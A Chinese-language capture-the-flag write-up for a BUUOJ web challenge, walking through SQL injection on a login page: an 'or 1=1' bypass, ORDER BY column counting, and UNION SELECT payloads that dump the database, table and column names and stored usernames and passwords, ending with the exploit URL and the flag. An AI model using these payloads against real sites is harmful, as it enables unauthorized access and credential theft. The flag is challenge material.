解题思路
1、首先打开网站页面,一看是一个登录界面,我们想到运用SQL注入,利用密码1’ or 1=1登陆一下,得到admin用户以及他的密码。
2、根据之前获得的信息对我找flag没有啥有用的信息,我想到利用SQL语句查询一下刚刚得到的admin所在表的列信息,这里我使用1%27order by 4 %23 与 1%27order by 3 %23 对比判断出表的列数为3。(用%27替代’ , %23替代#)
第一种方法
3、得到表的列数以后,利用联合查询查询表得到geekuser,l0ve1ysq1两个表
4、查询一下两个表有哪些列,在第二个表中发现了flag
第二种方法
3、联合查询判断注入点,判断出注入点是第三位
1' union select 1,2,3 # 1' union select 1,2,3 %23
4、爆库,爆出库名:“geek”
1' union select 1,2,database() %23
5、爆表,爆出两个表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23
5、爆字段,id, username,password
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
6、爆字段内容,成功找到flag
1' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1 %23
http://53a6b14b-c68f-45f3-b495-99b875c3067c.node4.buuoj.cn:81/check.php?username=admin&password=11' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 %23
本题flag:
flag{a2b45632-fcff-472c-8cee-90a7d432a0cf}